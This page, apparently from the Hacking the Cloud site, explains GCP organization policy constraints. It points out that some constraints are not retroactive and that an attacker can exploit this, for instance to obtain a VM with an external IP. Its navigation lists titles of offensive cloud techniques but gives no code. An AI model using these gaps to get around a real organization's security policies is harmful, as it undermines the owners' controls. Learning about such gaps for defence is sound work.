class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1 checked> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=true> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Security and Constraints </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Security and Constraints </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#examples class=md-nav__link> <span class=md-ellipsis> Examples </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#examples class=md-nav__link> <span class=md-ellipsis> Examples </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Moses Frost (@mosesrenegade)</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/general-knowledge/security-and-constraints.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Security and Constraints</h1> <p>GCP Resources are typically placed into Projects. Projects are a mix of resource groups in Azure and Accounts in AWS. Projects can be either non-hierarchical or completely hierarchical. An operator can place security constraints on these projects to provide a baseline security policy. There are also Organization-wide policy constraints that apply to every project.</p> <h2 id=examples>Examples<a class=headerlink href=#examples title="Permanent link">&para;</a></h2> <p>From: <a href=https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints>Organizational Policy Constraints</a></p> <ul> <li>constraints/iam.disableServiceAccountCreation : This can disable the overall creation of service accounts. Equivalent to Service Principals in Azure.</li> <li>constraints/iam.disableServiceAccountKeyCreation : This constraint will disable the ability to create a service account key. This constraint would be helpful if you want service accounts but only want to use RSA-based authentication. </li> </ul> <p>There are specific policies that are <em>not</em> retroactive. We can use these to our <em>advantage</em>. </p> <ol> <li><code>constraints/compute.requireShieldedVm</code>: If a compute node is already created and exists without this constraint applied, then this constraint will not be retroactive. You <em>must</em> delete the object and re-create it for it to enforce shielded VMs. </li> <li> <p><code>constraints/compute.vmExternalIpAccess</code>: Consider the following scenario:</p> <ul> <li>Constraint is based on the following permutation: <code>projects/PROJECT_ID/zones/ZONE/instances/INSTANCE</code></li> <li>Constraint looks for the <code>name</code> of the machine in the <code>project</code> identifier specified in the specific <code>zone</code></li> <li>If you can boot a VM with this specific set of criteria, then you can have a machine with an External IP Address</li> <li>Machine cannot already exist.</li> <li><code>constraints/compute.vmCanIpForward</code>: Another Non Retroactive Setting. The machine must not exist before this setting is created. Once this is set, then machines will enforce this condition.</li> </ul> </li> </ol> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 2, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">May 29, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/mosesrenegade class=md-author title=@mosesrenegade> <img src="https://avatars.githubusercontent.com/u/944551?v=4&size=72" alt=mosesrenegade> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: 